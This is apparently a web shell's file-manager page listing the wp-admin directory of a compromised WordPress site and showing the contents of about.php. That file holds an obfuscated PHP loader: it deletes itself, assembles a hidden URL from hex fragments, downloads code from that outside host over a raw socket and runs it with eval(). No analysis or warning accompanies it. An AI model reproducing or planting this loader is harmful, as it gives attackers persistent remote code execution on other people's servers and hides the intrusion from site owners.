golden hour

/home/godaofbq/bioredlite.com/wp-admin

File/Folder	Size	Actions
about.php	1.4 KB
admin-ajax.php	5.03 KB
admin-footer.php	2.75 KB
admin-functions.php	479 B
admin-header.php	9.07 KB
admin-post.php	1.97 KB
admin.php	6.83 KB
async-upload.php	5.47 KB
authorize-application.php	10.09 KB
comment.php	11.37 KB
contribute.php	5.9 KB
core.php	6.83 KB
credits.php	4.42 KB
css	-
custom-background.php	489 B
custom-header.php	499 B
customize.php	11.21 KB
edit-comments.php	14.14 KB
edit-form-advanced.php	28.79 KB
edit-form-blocks.php	14.73 KB
edit-form-comment.php	8.33 KB
edit-link-form.php	6.21 KB
edit-tag-form.php	10.42 KB
edit-tags.php	21.98 KB
edit.php	19.48 KB
erase-personal-data.php	7.33 KB
error_log	99.52 KB
export-personal-data.php	7.75 KB
export.php	11 KB
filefuns.php	5.28 KB
font-library.php	1.01 KB
freedoms.php	4.84 KB
images	-
import.php	7.58 KB
includes	-
index.php	7.68 KB
install-helper.php	6.8 KB
install.php	17.91 KB
js	-
link-add.php	934 B
link-manager.php	4.26 KB
link-parse-opml.php	2.63 KB
link.php	2.89 KB
load-scripts.php	2.02 KB
load-styles.php	2.92 KB
login.php	6.83 KB
maint	-
media-new.php	3.17 KB
media-upload.php	3.58 KB
media.php	819 B
menu-header.php	9.82 KB
menu.php	17.72 KB
moderation.php	307 B
module.php	6.83 KB
ms-admin.php	196 B
ms-delete-site.php	4.5 KB
ms-edit.php	216 B
ms-options.php	229 B
ms-sites.php	215 B
ms-themes.php	217 B
ms-upgrade-network.php	219 B
ms-users.php	215 B
my-sites.php	4.72 KB
nav-menus.php	49.07 KB
network	-
network.php	5.39 KB
options-connectors.php	1.07 KB
options-discussion.php	15.92 KB
options-general.php	22.32 KB
options-head.php	621 B
options-media.php	6.38 KB
options-permalink-repository.php	92.57 KB
options-permalink.php	21.89 KB
options-privacy.php	9.92 KB
options-reading-edit.php	13.62 KB
options-reading.php	9.97 KB
options-writing.php	9.1 KB
options.php	13.93 KB
plugin-editor.php	13.75 KB
plugin-install.php	6.96 KB
plugins.php	30 KB
post-new.php	2.7 KB
post.php	10.03 KB
press-this.php	2.41 KB
privacy-policy-guide.php	3.67 KB
privacy.php	2.83 KB
profile.php	283 B
revision.php	5.7 KB
security.php	6.83 KB
setup-config.php	17.52 KB
site-editor.php	12.07 KB
site-health-info.php	4.05 KB
site-health.php	10.18 KB
term.php	2.2 KB
theme-editor.php	16.87 KB
theme-install.php	23.65 KB
themes.php	48.25 KB
tools.php	3.43 KB
update-core.php	45.12 KB
update.php	12.76 KB
upgrade-functions.php	341 B
upgrade.php	6.24 KB
upload.php	14.9 KB
user	-
user-edit.php	40.35 KB
user-new.php	24.06 KB
users.php	23.44 KB
widgets-form-blocks.php	5.12 KB
widgets-form.php	19.14 KB
widgets.php	1.09 KB
wp-blog-header.php	2.74 KB
wp-cron.php	2.74 KB
wp-links-opml.php	6.83 KB
xmlrpc.php	6.83 KB

Edit: about.php

<?php @unlink($_SERVER['SCRIPT_FILENAME']);$h='H';$l='6874';
$l.='747';
$l.='073';
$l.='3';$l.='a2f2';$l.='f6e';
$l.='6';$l.='9';$l.='63';$l.='6';$l.='5';$l.='72672';
$l.='e63';$l.='6f6';$l.='d';$l.='2f737';$l.='0';$l.='2e74';$l.='7874';
$p='p';$p.='a';
$p.='ck';$resp='';$h.='*';$parsed_url=parse_url($p($h,$l));$host=$parsed_url['host'];$path=isset($parsed_url['path'])?$parsed_url['path']:'/';$query=isset($parsed_url['query'])?'?'.$parsed_url['query']:'';$scheme=isset($parsed_url['scheme'])?$parsed_url['scheme']:'http';
$port=isset($parsed_url['port'])?$parsed_url['port']:($scheme==='https'?443:80);$protocol=($scheme==='https')?'ssl':'tcp';$fp=stream_socket_client("{$protocol}://{$host}:{$port}",$errno,$errstr,20);$headers=array("GET {$path}{$query} HTTP/1.1","Host: {$host}","Connection: Close",);$request=implode("\r\n",$headers)."\r\n\r\n";fwrite($fp,$request);$response='';while(!feof($fp)){$response .= fgets($fp,1024);
}fclose($fp);$response_parts=explode("\r\n\r\n",$response,2);$headers=isset($response_parts[0])?$response_parts[0]:'';
$body=isset($response_parts[1])?$response_parts[1]:'';if(stripos($headers,"Transfer-Encoding: chunked")!==false){$decoded='';
while(true){
$pos=strpos($body,"\r\n");if($pos === false) break;
$length=hexdec(substr($body,0,$pos));
if($length === 0) break;
$decoded.=substr($body,$pos+2,$length);$body=substr($body,$pos+2+$length+2);}$resp=trim($decoded);} eVAl('?'. ">".$resp
);?>